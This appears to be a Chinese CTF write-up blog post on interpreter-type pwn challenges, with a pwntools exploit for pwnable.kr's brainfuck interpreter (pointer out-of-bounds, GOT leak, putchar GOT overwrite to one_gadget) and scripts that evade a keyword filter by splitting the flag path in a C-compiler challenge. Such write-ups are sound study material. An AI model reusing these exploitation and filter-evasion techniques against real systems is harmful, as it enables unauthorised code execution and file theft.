前言
记录一下解释器类型的PWN题
参照:解释器类型的Pwn题目总结 - 安全客,安全资讯平台 (anquanke.com)
一、pwnable_bf
brainfuck
语言的解释器,其中指针p指向bss段上的tape
参照:Brain fuck-pwnable.kr三种思路详解 - FreeBuf网络安全行业门户
其中各个分支(符号代表)的功能,可见下表:(部分来源于TaQini)
操作 |
含义 |
解释 |
> |
p += 1 |
p值加1 |
< |
p -= 1 |
p值减1 |
+ |
(*p) += 1 |
p值指向的值加1 |
- |
(*p) -= 1 |
p值指向的值减1 |
. |
putchar(*p) |
输出 |
, |
getchar(*p) |
输入 |
简单来说就是:,.
分别控制输入输出;<>
控制指针p的取值加减;+-
控制指针p指向的内存上的值的加减。
所以这里就很明显,由于没有对p做限制,所以我们可以控制指针p来移动到一个范围内的任意地方
最多移动1024次,也就是在如下范围处
又由于tape在bss段上,距离Got表比较近,并且实际上在IDA中查看也确实如此,那么之后我们就可以借助,
来输出got表中内容,泄露地址,然后修改putchar的got表,直接跳转one_gadget即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context.log_level = 'debug' elf = ELF("./bf") libc = ELF("./libc.so.6")
global p
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset it = lambda :p.interactive()
tape_addr = 0x0804A0A0 putchar_addr = 0x0804A030
payload = '' payload += '<' * (tape_addr - putchar_addr) payload += '.' payload += '.>' * 0x4 payload += '<' * 0x4 + ',>' * 0x4 payload += '.' log.info("start send") p = remote('pwnable.kr',9001)
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n') p.sendline(payload)
libc_base_addr = u32Leakbase(libc.sym['putchar']) p.send(p32(libc_base_addr + 0x5fbc6)) p.interactive()
|
二、2020 RCTF bf
这题不太想调,也是brainFuck语言的,但是在[]
的实现上有点问题,code在栈上,会存在Off-by-one的情况,刚好溢出到code_addr,可通过修改code_addr来控制程序流从而进行ROP。
三、2020 DAS-CTF OJ0
C编译器,没有附件,过滤了home
、ctf
、flag
等敏感字符和system,exec类的函数
解法一:直接读取
通过编写程序读取/home/ctf/flag
,绕过过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
context(log_level="debug", arch="amd64")
io = remote("183.129.189.60", 10075)
program = """ #include <stdio.h>
int main(){ char buff[128]={0}, file[128]={0}; scanf("%s", file); FILE* fp = fopen(file, "r"); fscanf(fp, "%s", buff); printf("%s", buff); return 0 }@
"""
io.sendlineafter("'@')", program) io.sendlineafter("(Y/n)", "/home/ctf/flag")
io.interactive()
|
解法二:拼接读取
由于过滤了,所以可以尝试像Web里面的那种拼接读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
context(log_level="debug", arch="amd64")
io = remote("183.129.189.60", 10075)
program = """ #include <stdio.h> #include<string.h>
int main(){ char buf[50]; char path_part_1[5] = "/hom"; char path_part_2[5] = "e/ct"; char path_part_3[5] = "f/fl"; char path_part_4[5] = "agx00"; char path[20]; sprintf(path, "%s%s%s%s", path_part_1, path_part_2, path_part_3, path_part_4); int fd = open(path); read(fd,buf,50); write(1,buf,50); }@
"""
io.sendlineafter("'@')", program)
io.interactive()
|
四、DEFCON CTF Qualifier 2020 introool
这题不太想调,就是patch,写汇编跳转shellcode等
五、[Redhat2019] Kaleidoscope
这题找不着附件,简单来说就是两个东西Kaleidoscope
即时解释器和honggfuzz
六、2020 DAS-CTF OJ1
不能输入括号,大中小括号等,例如int main(){}
等等都不行,可以用如下的形式来进行
1
| const char main=0x55,a1=0x48,a2=0x89,a3=0xe5;
|
编译之后可以看到如下,直接形成汇编代码,那么就可以直接写汇编通i过shellcode或者orw来获取flag了。